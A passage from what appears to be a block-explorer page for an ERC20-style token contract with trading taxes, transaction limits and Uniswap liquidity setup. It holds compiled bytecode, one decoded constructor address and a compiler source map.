0a611871565b6103c5906101f461187f565b81565b5f6103d56009600a611871565b6103e3906305f5e10061187f565b905090565b5f6103f4848484610ba0565b610445843361044085604051806060016040528060288152602001611a13602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112d6565b610ad4565b5060019392505050565b5f546001600160a01b031633146104815760405162461bcd60e51b815260040161047890611896565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f25760405162461bcd60e51b815260040161047890611896565b6104fe6009600a611871565b61050c906305f5e10061187f565b60075561051b6009600a611871565b610529906305f5e10061187f565b6008557f09cd51dbb3863eb5590065f7de41ae4950c3ede201a9f214669deadb855d39556105596009600a611871565b610567906305f5e10061187f565b6040519081526020015b60405180910390a1565b5f546001600160a01b031633146105a45760405162461bcd60e51b815260040161047890611896565b601e82111580156105b65750601e8111155b80156105c4575060095460ff165b6106005760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b6044820152606401610478565b600a829055600b81905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b5f6103a3338484610ba0565b5f546001600160a01b0316331461067c5760405162461bcd60e51b815260040161047890611896565b60095460ff16156106c65760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610478565b600980546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c9101610571565b6107286009600a611871565b6103c5906216e36061187f565b5f546001600160a01b0316331461075e5760405162461bcd60e51b815260040161047890611896565b60095460ff16156107a75760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610478565b5f6107f06107db60646107d560286107c16009600a611871565b6107cf906305f5e10061187f565b9061130e565b90611393565b305f90815260016020526040902054906113d4565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590915061083c90309061082e6009600a611871565b610440906305f5e10061187f565b60065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b091906118cb565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093391906118cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561097d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a191906118cb565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730845f803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a32573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a5791906118e6565b505060055460065460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad09190611911565b5050565b6001600160a01b03831615801590610af457506001600160a01b03821615155b610b405760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f2061646472657373006044820152606401610478565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610bc057506001600160a01b03821615155b610c0c5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f20616464726573736044820152606401610478565b5f8111610c6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610478565b5f81610c805f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610cae57505f546001600160a01b03858116911614155b156111765760095460ff16610d3d576001600160a01b0384165f9081526003602052604090205460ff1680610cfa57506001600160a01b0385165f9081526003602052604090205460ff165b610d3d5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610478565b600954610100900460ff1680610d5c575060095462010000900460ff16155b15610e13576001600160a01b0385165f90815260016020526040902054610d8390846113d4565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610db19084611415565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e049087815260200190565b60405180910390a35050505050565b6005546001600160a01b038681169116148015610e3e57506006546001600160a01b03858116911614155b8015610e6257506001600160a01b0384165f9081526003602052604090205460ff16155b15610f4857600754831115610eb95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610478565b60085483610edb866001600160a01b03165f9081526001602052604090205490565b610ee59190611930565b1115610f335760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b600c8054905f610f4283611943565b91905055505b6001600160a01b0385165f9081526003602052604090205460ff1615610f7957610f72828461195b565b9150611046565b6005546001600160a01b038581169116148015610f9f57506001600160a01b0385163014155b15610fe2576064610fc56009600c5411610fba576028610fbe565b600b545b859061130e565b610fcf919061196e565b9150610fdb828261195b565b9050611046565b6005546001600160a01b03868116911614801561100857506001600160a01b0384163014155b1561104657606461102d6009600c5411611023576028610fbe565b600a54859061130e565b611037919061196e565b9150611043828261195b565b90505b305f90815260016020526040902054600954610100900460ff1615801561107a57506005546001600160a01b038681169116145b801561109c575061108d6009600a611871565b611099906101f461187f565b81115b80156110a957505f600c54115b80156110bd575060095462010000900460ff165b80156110e157506001600160a01b0386165f9081526003602052604090205460ff16155b801561110557506001600160a01b0385165f9081526003602052604090205460ff16155b15611174575f6111176009600a611871565b611124906216e36061187f565b82116111305781611149565b61113c6009600a611871565b611149906216e36061187f565b905061116181861161115b5785611473565b81611473565b47801561117157611171476115dd565b50505b505b6001600160a01b0385165f9081526003602052604081205460ff1661119b573061119d565b855b90508215611223576001600160a01b0381165f908152600160205260409020546111c79084611415565b6001600160a01b038083165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121a9087815260200190565b60405180910390a35b6001600160a01b0386165f9081526001602052604090205461124590856113d4565b6001600160a01b038088165f9081526001602052604080822093909355908716815220546112739083611415565b6001600160a01b038087165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c69086815260200190565b60405180910390a3505050505050565b5f81848411156112f95760405162461bcd60e51b81526004016104789190611640565b505f611305848661195b565b95945050505050565b5f825f0361131d57505f6103a7565b5f611328838561187f565b905082611335858361196e565b1461138c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610478565b9392505050565b5f61138c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611614565b5f61138c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112d6565b5f806114218385611930565b90508381101561138c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610478565b6009805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114b5576114b561198d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561150c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061153091906118cb565b816001815181106115435761154361198d565b6001600160a01b0392831660209182029290920101526006546115699130911684610ad4565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a19085905f908690309042906004016119a1565b5f604051808303815f87803b1580156115b8575f80fd5b505af11580156115ca573d5f803e3d5ffd5b50506009805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610ad0573d5f803e3d5ffd5b5f81836116345760405162461bcd60e51b81526004016104789190611640565b505f611305848661196e565b5f602080835283518060208501525f5b8181101561166c57858101830151858201604001528201611650565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116a0575f80fd5b50565b5f80604083850312156116b4575f80fd5b82356116bf8161168c565b946020939093013593505050565b5f805f606084860312156116df575f80fd5b83356116ea8161168c565b925060208401356116fa8161168c565b929592945050506040919091013590565b5f6020828403121561171b575f80fd5b813561138c8161168c565b5f8060408385031215611737575f80fd5b50508035926020909101359150565b5f8060408385031215611757575f80fd5b82356117628161168c565b915060208301356117728161168c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117cb57815f19048211156117b1576117b161177d565b808516156117be57918102915b93841c9390800290611796565b509250929050565b5f826117e1575060016103a7565b816117ed57505f6103a7565b8160018114611803576002811461180d57611829565b60019150506103a7565b60ff84111561181e5761181e61177d565b50506001821b6103a7565b5060208310610133831016604e8410600b841016171561184c575081810a6103a7565b6118568383611791565b805f19048211156118695761186961177d565b029392505050565b5f61138c60ff8416836117d3565b80820281158282048414176103a7576103a761177d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118db575f80fd5b815161138c8161168c565b5f805f606084860312156118f8575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611921575f80fd5b8151801515811461138c575f80fd5b808201808211156103a7576103a761177d565b5f600182016119545761195461177d565b5060010190565b818103818111156103a7576103a761177d565b5f8261198857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119f15784516001600160a01b0316835293830193918301916001016119cc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1b5451d2983822a75685876d7cb312f43c5491387feff8ceab30f093c73dee064736f6c63430008160033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000c485e5a82df6390d64f8de738beb4b8a9fddd51f

-----Decoded View---------------
Arg [0] : _addr (address): 0xc485e5a82Df6390D64f8dE738beb4B8a9FDdD51F

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000c485e5a82df6390d64f8de738beb4b8a9fddd51f


Deployed Bytecode Sourcemap

3823:9583:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10563:83;;;;;;;;;;-1:-1:-1;10633:5:0;;;;;;;;;;;;-1:-1:-1;;;10633:5:0;;;;10563:83;;;;;;;:::i;:::-;;;;;;;;11446:186;;;;;;;;;;-1:-1:-1;11446:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11446:186:0;1023:187:1;4435:62:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4435:62:0;1215:177:1;10840:95:0;;;;;;;;;;;;;:::i;11640:446::-;;;;;;;;;;-1:-1:-1;11640:446:0;;;;;:::i;:::-;;:::i;10749:83::-;;;;;;;;;;-1:-1:-1;10749:83:0;;4358:1;2000:36:1;;1988:2;1973:18;10749:83:0;1858:184:1;10943:119:0;;;;;;;;;;-1:-1:-1;10943:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;11036:18:0;11009:7;11036:18;;;:9;:18;;;;;;;10943:119;3668:148;;;;;;;;;;;;;:::i;:::-;;6041:153;;;;;;;;;;;;;:::i;4576:55::-;;;;;;;;;;;;;;;;13044:359;;;;;;;;;;-1:-1:-1;13044:359:0;;;;;:::i;:::-;;:::i;3454:79::-;;;;;;;;;;-1:-1:-1;3492:7:0;3519:6;3454:79;;-1:-1:-1;;;;;3519:6:0;;;2698:51:1;;2686:2;2671:18;3454:79:0;2552:203:1;4638:57:0;;;;;;;;;;;;;;;;10654:87;;;;;;;;;;-1:-1:-1;10726:7:0;;;;;;;;;;;;-1:-1:-1;;;10726:7:0;;;;10654:87;;11070:192;;;;;;;;;;-1:-1:-1;11070:192:0;;;;;:::i;:::-;;:::i;5800:233::-;;;;;;;;;;;;;:::i;4504:65::-;;;;;;;;;;;;;:::i;11270:168::-;;;;;;;;;;-1:-1:-1;11270:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;11403:18:0;;;11376:7;11403:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11270:168;6206:867;;;;;;;;;;;;;:::i;11446:186::-;11546:4;11563:39;3087:10;11586:7;11595:6;11563:8;:39::i;:::-;-1:-1:-1;11620:4:0;11446:186;;;;;:::o;4435:62::-;4482:15;4358:1;4482:2;:15;:::i;:::-;4476:21;;:3;:21;:::i;:::-;4435:62;:::o;10840:95::-;10893:7;4413:15;4358:1;4413:2;:15;:::i;:::-;4401:27;;:9;:27;:::i;:::-;10913:14;;10840:95;:::o;11640:446::-;11772:4;11789:36;11799:6;11807:9;11818:6;11789:9;:36::i;:::-;11836:220;11859:6;3087:10;11907:138;11963:6;11907:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11907:19:0;;;;;;:11;:19;;;;;;;;3087:10;11907:33;;;;;;;;;;:37;:138::i;:::-;11836:8;:220::i;:::-;-1:-1:-1;12074:4:0;11640:446;;;;;:::o;3668:148::-;3581:6;;-1:-1:-1;;;;;3581:6:0;3087:10;3581:22;3573:67;;;;-1:-1:-1;;;3573:67:0;;;;;;;:::i;:::-;;;;;;;;;3775:1:::1;3759:6:::0;;3738:40:::1;::::0;-1:-1:-1;;;;;3759:6:0;;::::1;::::0;3738:40:::1;::::0;3775:1;;3738:40:::1;3806:1;3789:19:::0;;-1:-1:-1;;;;;;3789:19:0::1;::::0;;3668:148::o;6041:153::-;3581:6;;-1:-1:-1;;;;;3581:6:0;3087:10;3581:22;3573:67;;;;-1:-1:-1;;;3573:67:0;;;;;;;:::i;:::-;4413:15:::1;4358:1;4413:2;:15;:::i;:::-;4401:27;::::0;:9:::1;:27;:::i;:::-;6095:12;:22:::0;4413:15:::1;4358:1;4413:2;:15;:::i;:::-;4401:27;::::0;:9:::1;:27;:::i;:::-;6128:14;:24:::0;6168:18:::1;4413:15;4358:1;4413:2;:15;:::i;:::-;4401:27;::::0;:9:::1;:27;:::i;:::-;6168:18;::::0;1361:25:1;;;1349:2;1334:18;6168::0::1;;;;;;;;6041:153::o:0;13044:359::-;3581:6;;-1:-1:-1;;;;;3581:6:0;3087:10;3581:22;3573:67;;;;-1:-1:-1;;;3573:67:0;;;;;;;:::i;:::-;13194:2:::1;13181:9;:15;;:35;;;;;13214:2;13200:10;:16;;13181:35;:52;;;;-1:-1:-1::0;13220:13:0::1;::::0;::::1;;13181:52;13159:115;;;::::0;-1:-1:-1;;;13159:115:0;;5398:2:1;13159:115:0::1;::::0;::::1;5380:21:1::0;5437:2;5417:18;;;5410:30;-1:-1:-1;;;5456:18:1;;;5449:43;5509:18;;13159:115:0::1;5196:337:1::0;13159:115:0::1;13285:13;:25:::0;;;13321:14:::1;:27:::0;;;13364:31:::1;::::0;;5712:25:1;;;5768:2;5753:18;;5746:34;;;13364:31:0::1;::::0;5685:18:1;13364:31:0::1;;;;;;;13044:359:::0;;:::o;11070:192::-;11173:4;11190:42;3087:10;11214:9;11225:6;11190:9;:42::i;5800:233::-;3581:6;;-1:-1:-1;;;;;3581:6:0;3087:10;3581:22;3573:67;;;;-1:-1:-1;;;3573:67:0;;;;;;;:::i;:::-;5862:13:::1;::::0;::::1;;5861:14;5853:47;;;::::0;-1:-1:-1;;;5853:47:0;;5993:2:1;5853:47:0::1;::::0;::::1;5975:21:1::0;6032:2;6012:18;;;6005:30;-1:-1:-1;;;6051:18:1;;;6044:50;6111:18;;5853:47:0::1;5791:344:1::0;5853:47:0::1;5911:15;:22:::0;;5944:20;-1:-1:-1;;5944:20:0;;;;;;;;5980:45:::1;::::0;;-1:-1:-1;6302:41:1;;5911:22:0;6009:15;;::::1;5911:22;6009:15;6386:14:1::0;6379:22;6374:2;6359:18;;6352:50;5980:45:0::1;::::0;6275:18:1;5980:45:0::1;6140:268:1::0;4504:65:0;4554:15;4358:1;4554:2;:15;:::i;:::-;4544:25;;:7;:25;:::i;6206:867::-;3581:6;;-1:-1:-1;;;;;3581:6:0;3087:10;3581:22;3573:67;;;;-1:-1:-1;;;3573:67:0;;;;;;;:::i;:::-;6272:13:::1;::::0;::::1;;6271:14;6263:46;;;::::0;-1:-1:-1;;;6263:46:0;;6615:2:1;6263:46:0::1;::::0;::::1;6597:21:1::0;6654:2;6634:18;;;6627:30;-1:-1:-1;;;6673:18:1;;;6666:49;6732:18;;6263:46:0::1;6413:343:1::0;6263:46:0::1;6320:19;6342:91;6385:37;6418:3;6385:28;4867:2;4413:15;4358:1;4413:2;:15;:::i;:::-;4401:27;::::0;:9:::1;:27;:::i;:::-;6385:11:::0;::::1;:28::i;:::-;:32:::0;::::1;:37::i;:::-;6360:4;11009:7:::0;11036:18;;;:9;:18;;;;;;6342:28;::::1;:91::i;:::-;6444:15;:95:::0;;-1:-1:-1;;;;;;6444:95:0::1;6486:42;6444:95:::0;;::::1;::::0;;;6320:113;;-1:-1:-1;6550:58:0::1;::::0;6567:4:::1;::::0;4413:15:::1;4358:1;4413:2;:15;:::i;:::-;4401:27;::::0;:9:::1;:27;:::i;6550:58::-;6644:15;;;;;;;;;-1:-1:-1::0;;;;;6644:15:0::1;-1:-1:-1::0;;;;;6644:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6635:46:0::1;;6704:4;6724:15;;;;;;;;;-1:-1:-1::0;;;;;6724:15:0::1;-1:-1:-1::0;;;;;6724:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6635:122;::::0;-1:-1:-1;;;;;;6635:122:0::1;::::0;;;;;;-1:-1:-1;;;;;7247:15:1;;;6635:122:0::1;::::0;::::1;7229:34:1::0;7299:15;;7279:18;;;7272:43;7164:18;;6635:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6619:13;:138:::0;;-1:-1:-1;;;;;;6619:138:0::1;-1:-1:-1::0;;;;;6619:138:0;;::::1;;::::0;;6768:15:::1;::::0;::::1;:31;6807:21;6852:4;6872:11:::0;-1:-1:-1;;3087:10:0;6768:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6768:215:0;;;-1:-1:-1;;;;;7685:15:1;;;6768:215:0::1;::::0;::::1;7667:34:1::0;7717:18;;;7710:34;;;;7760:18;;;7753:34;;;;7803:18;;;7796:34;7867:15;;;7846:19;;;7839:44;6957:15:0::1;7899:19:1::0;;;7892:35;7601:19;;6768:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7001:13:0::1;::::0;7032:15:::1;::::0;6994:71:::1;::::0;-1:-1:-1;;;6994:71:0;;-1:-1:-1;;;;;7032:15:0;;::::1;6994:71;::::0;::::1;8423:51:1::0;-1:-1:-1;;8490:18:1;;;8483:34;7001:13:0;::::1;::::0;-1:-1:-1;6994:29:0::1;::::0;8396:18:1;;6994:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6252:821;6206:867::o:0;12094:313::-;-1:-1:-1;;;;;12201:19:0;;;;;;:44;;-1:-1:-1;;;;;;12224:21:0;;;;12201:44;12179:125;;;;-1:-1:-1;;;12179:125:0;;9012:2:1;12179:125:0;;;8994:21:1;9051:2;9031:18;;;9024:30;9090:33;9070:18;;;9063:61;9141:18;;12179:125:0;8810:355:1;12179:125:0;-1:-1:-1;;;;;12315:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12367:32;;1361:25:1;;;12367:32:0;;1334:18:1;12367:32:0;;;;;;;12094:313;;;:::o;7081:3474::-;-1:-1:-1;;;;;7183:18:0;;;;;;:38;;-1:-1:-1;;;;;;7205:16:0;;;;7183:38;7161:120;;;;-1:-1:-1;;;7161:120:0;;9372:2:1;7161:120:0;;;9354:21:1;;;9391:18;;;9384:30;9450:34;9430:18;;;9423:62;9502:18;;7161:120:0;9170:356:1;7161:120:0;7309:1;7300:6;:10;7292:64;;;;-1:-1:-1;;;7292:64:0;;9733:2:1;7292:64:0;;;9715:21:1;9772:2;9752:18;;;9745:30;9811:34;9791:18;;;9784:62;-1:-1:-1;;;9862:18:1;;;9855:39;9911:19;;7292:64:0;9531:405:1;7292:64:0;7369:16;7412:6;7443:7;3492;3519:6;-1:-1:-1;;;;;3519:6:0;;3454:79;7443:7;-1:-1:-1;;;;;7435:15:0;:4;-1:-1:-1;;;;;7435:15:0;;;:32;;;;-1:-1:-1;3492:7:0;3519:6;-1:-1:-1;;;;;7454:13:0;;;3519:6;;7454:13;;7435:32;7431:2697;;;7489:13;;;;7484:201;;-1:-1:-1;;;;;7553:23:0;;;;;;:19;:23;;;;;;;;;:52;;-1:-1:-1;;;;;;7580:25:0;;;;;;:19;:25;;;;;;;;7553:52;7523:146;;;;-1:-1:-1;;;7523:146:0;;10143:2:1;7523:146:0;;;10125:21:1;10182:2;10162:18;;;10155:30;-1:-1:-1;;;10201:18:1;;;10194:50;10261:18;;7523:146:0;9941:344:1;7523:146:0;7705:10;;;;;;;;:30;;-1:-1:-1;7720:15:0;;;;;;;7719:16;7705:30;7701:251;;;-1:-1:-1;;;;;7774:15:0;;;;;;:9;:15;;;;;;:27;;7794:6;7774:19;:27::i;:::-;-1:-1:-1;;;;;7756:15:0;;;;;;;:9;:15;;;;;;:45;;;;7836:13;;;;;;;:25;;7854:6;7836:17;:25::i;:::-;-1:-1:-1;;;;;7820:13:0;;;;;;;:9;:13;;;;;;;:41;;;;7885:26;;;;;;;;;;7904:6;1361:25:1;;1349:2;1334:18;;1215:177;7885:26:0;;;;;;;;7930:7;;7081:3474;;;:::o;7701:251::-;7998:13;;-1:-1:-1;;;;;7990:21:0;;;7998:13;;7990:21;:72;;;;-1:-1:-1;8046:15:0;;-1:-1:-1;;;;;8032:30:0;;;8046:15;;8032:30;;7990:72;:117;;;;-1:-1:-1;;;;;;8084:23:0;;;;;;:19;:23;;;;;;;;8083:24;7990:117;7968:439;;;8160:12;;8150:6;:22;;8142:60;;;;-1:-1:-1;;;8142:60:0;;10492:2:1;8142:60:0;;;10474:21:1;10531:2;10511:18;;;10504:30;10570:27;10550:18;;;10543:55;10615:18;;8142:60:0;10290:349:1;8142:60:0;8277:14;;8267:6;8251:13;8261:2;-1:-1:-1;;;;;11036:18:0;11009:7;11036:18;;;:9;:18;;;;;;;10943:119;8251:13;:22;;;;:::i;:::-;:40;;8221:140;;;;-1:-1:-1;;;8221:140:0;;10976:2:1;8221:140:0;;;10958:21:1;11015:2;10995:18;;;10988:30;11054:28;11034:18;;;11027:56;11100:18;;8221:140:0;10774:350:1;8221:140:0;8380:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7968:439;-1:-1:-1;;;;;8427:25:0;;;;;;:19;:25;;;;;;;;8423:867;;;8484:17;8493:8;8484:6;:17;:::i;:::-;8473:28;;8423:867;;;8533:13;;-1:-1:-1;;;;;8527:19:0;;;8533:13;;8527:19;:44;;;;-1:-1:-1;;;;;;8550:21:0;;8566:4;8550:21;;8527:44;8523:767;;;8833:3;8624:185;5026:1;8662:9;;:29;8661:125;;4920:2;8661:125;;;8724:14;;8661:125;8624:6;;:10;:185::i;:::-;:212;;;;:::i;:::-;8592:244;-1:-1:-1;8868:21:0;8592:244;8868:10;:21;:::i;:::-;8855:34;;8523:767;;;8923:13;;-1:-1:-1;;;;;8915:21:0;;;8923:13;;8915:21;:44;;;;-1:-1:-1;;;;;;8940:19:0;;8954:4;8940:19;;8915:44;8911:379;;;9218:3;9012:182;4973:1;9050:9;;:28;9049:122;;4867:2;9049:122;;;9111:13;;9012:6;;:10;:182::i;:::-;:209;;;;:::i;:::-;8980:241;-1:-1:-1;9253:21:0;8980:241;9253:10;:21;:::i;:::-;9240:34;;8911:379;9345:4;9306:18;11036;;;:9;:18;;;;;;9389:10;;;;;;;9388:11;:51;;;;-1:-1:-1;9426:13:0;;-1:-1:-1;;;;;9420:19:0;;;9426:13;;9420:19;9388:51;:99;;;;-1:-1:-1;4482:15:0;4358:1;4482:2;:15;:::i;:::-;4476:21;;:3;:21;:::i;:::-;9460:10;:27;9388:99;:150;;;;;5080:1;9508:9;;:30;9388:150;:186;;;;-1:-1:-1;9559:15:0;;;;;;;9388:186;:233;;;;-1:-1:-1;;;;;;9596:25:0;;;;;;:19;:25;;;;;;;;9595:26;9388:233;:278;;;;-1:-1:-1;;;;;;9643:23:0;;;;;;:19;:23;;;;;;;;9642:24;9388:278;9366:751;;;9701:20;4554:15;4358:1;4554:2;:15;:::i;:::-;4544:25;;:7;:25;:::i;:::-;9725:10;:26;9724:99;;9813:10;9724:99;;;4554:15;4358:1;4554:2;:15;:::i;:::-;4544:25;;:7;:25;:::i;:::-;9701:122;;9842:65;9869:12;9860:6;:21;9859:47;;9900:6;9842:16;:65::i;9859:47::-;9885:12;9842:16;:65::i;:::-;9955:21;9999:22;;9995:107;;10046:36;10060:21;10046:13;:36::i;:::-;9682:435;;9366:751;7469:2659;7431:2697;-1:-1:-1;;;;;10162:25:0;;10140:19;10162:25;;;:19;:25;;;;;;;;:48;;10205:4;10162:48;;;10190:4;10162:48;10140:70;-1:-1:-1;10227:12:0;;10223:163;;-1:-1:-1;;;;;10281:22:0;;;;;;:9;:22;;;;;;:36;;10308:8;10281:26;:36::i;:::-;-1:-1:-1;;;;;10256:22:0;;;;;;;:9;:22;;;;;;;:61;;;;10337:37;;;;;;;;;;10365:8;1361:25:1;;1349:2;1334:18;;1215:177;10337:37:0;;;;;;;;10223:163;-1:-1:-1;;;;;10416:15:0;;;;;;:9;:15;;;;;;:27;;10436:6;10416:19;:27::i;:::-;-1:-1:-1;;;;;10398:15:0;;;;;;;:9;:15;;;;;;:45;;;;10470:13;;;;;;;:29;;10488:10;10470:17;:29::i;:::-;-1:-1:-1;;;;;10454:13:0;;;;;;;:9;:13;;;;;;;:45;;;;10517:30;;;;;;;;;;10536:10;1361:25:1;;1349:2;1334:18;;1215:177;10517:30:0;;;;;;;;7150:3405;;;7081:3474;;;:::o;1323:224::-;1443:7;1479:12;1471:6;;;;1463:29;;;;-1:-1:-1;;;1463:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1503:9:0;1515:5;1519:1;1515;:5;:::i;:::-;1503:17;1323:224;-1:-1:-1;;;;;1323:224:0:o;1555:246::-;1613:7;1637:1;1642;1637:6;1633:47;;-1:-1:-1;1667:1:0;1660:8;;1633:47;1690:9;1702:5;1706:1;1702;:5;:::i;:::-;1690:17;-1:-1:-1;1735:1:0;1726:5;1730:1;1690:17;1726:5;:::i;:::-;:10;1718:56;;;;-1:-1:-1;;;1718:56:0;;11826:2:1;1718:56:0;;;11808:21:1;11865:2;11845:18;;;11838:30;11904:34;11884:18;;;11877:62;-1:-1:-1;;;11955:18:1;;;11948:31;11996:19;;1718:56:0;11624:397:1;1718:56:0;1792:1;1555:246;-1:-1:-1;;;1555:246:0:o;1809:132::-;1867:7;1894:39;1898:1;1901;1894:39;;;;;;;;;;;;;;;;;:3;:39::i;1179:136::-;1237:7;1264:43;1268:1;1271;1264:43;;;;;;;;;;;;;;;;;:3;:43::i;992:179::-;1050:7;;1082:5;1086:1;1082;:5;:::i;:::-;1070:17;;1111:1;1106;:6;;1098:46;;;;-1:-1:-1;;;1098:46:0;;12228:2:1;1098:46:0;;;12210:21:1;12267:2;12247:18;;;12240:30;12306:29;12286:18;;;12279:57;12353:18;;1098:46:0;12026:351:1;12553:483:0;5405:10;:17;;-1:-1:-1;;5405:17:0;;;;;12655:16:::1;::::0;;12669:1:::1;12655:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12655:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12655:16:0::1;12631:40;;12700:4;12682;12687:1;12682:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12682:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12726:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12726:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12682:7;;12726:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12716:4;12721:1;12716:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12716:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12791:15:::1;::::0;12759:62:::1;::::0;12776:4:::1;::::0;12791:15:::1;12809:11:::0;12759:8:::1;:62::i;:::-;12832:15;::::0;:196:::1;::::0;-1:-1:-1;;;